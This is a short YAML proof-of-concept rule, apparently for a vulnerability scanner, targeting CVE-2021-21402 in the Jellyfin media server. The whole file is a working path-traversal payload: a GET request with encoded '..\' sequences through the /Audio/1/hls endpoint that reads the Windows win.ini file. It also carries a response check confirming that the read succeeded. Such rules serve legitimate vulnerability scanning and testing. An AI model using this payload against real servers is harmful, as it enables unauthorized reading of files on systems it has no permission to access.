name: poc-yaml-jellyfin-file-read-cve-2021-21402 rules: - method: GET path: "/Audio/1/hls/..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Cwin.ini/stream.mp3/" expression: | response.status == 200 && response.body.bcontains(b"for 16-bit app support") detail: author: Print1n(https://github.com/Print1n) links: - https://blog.csdn.net/qq_41503511/article/details/116274406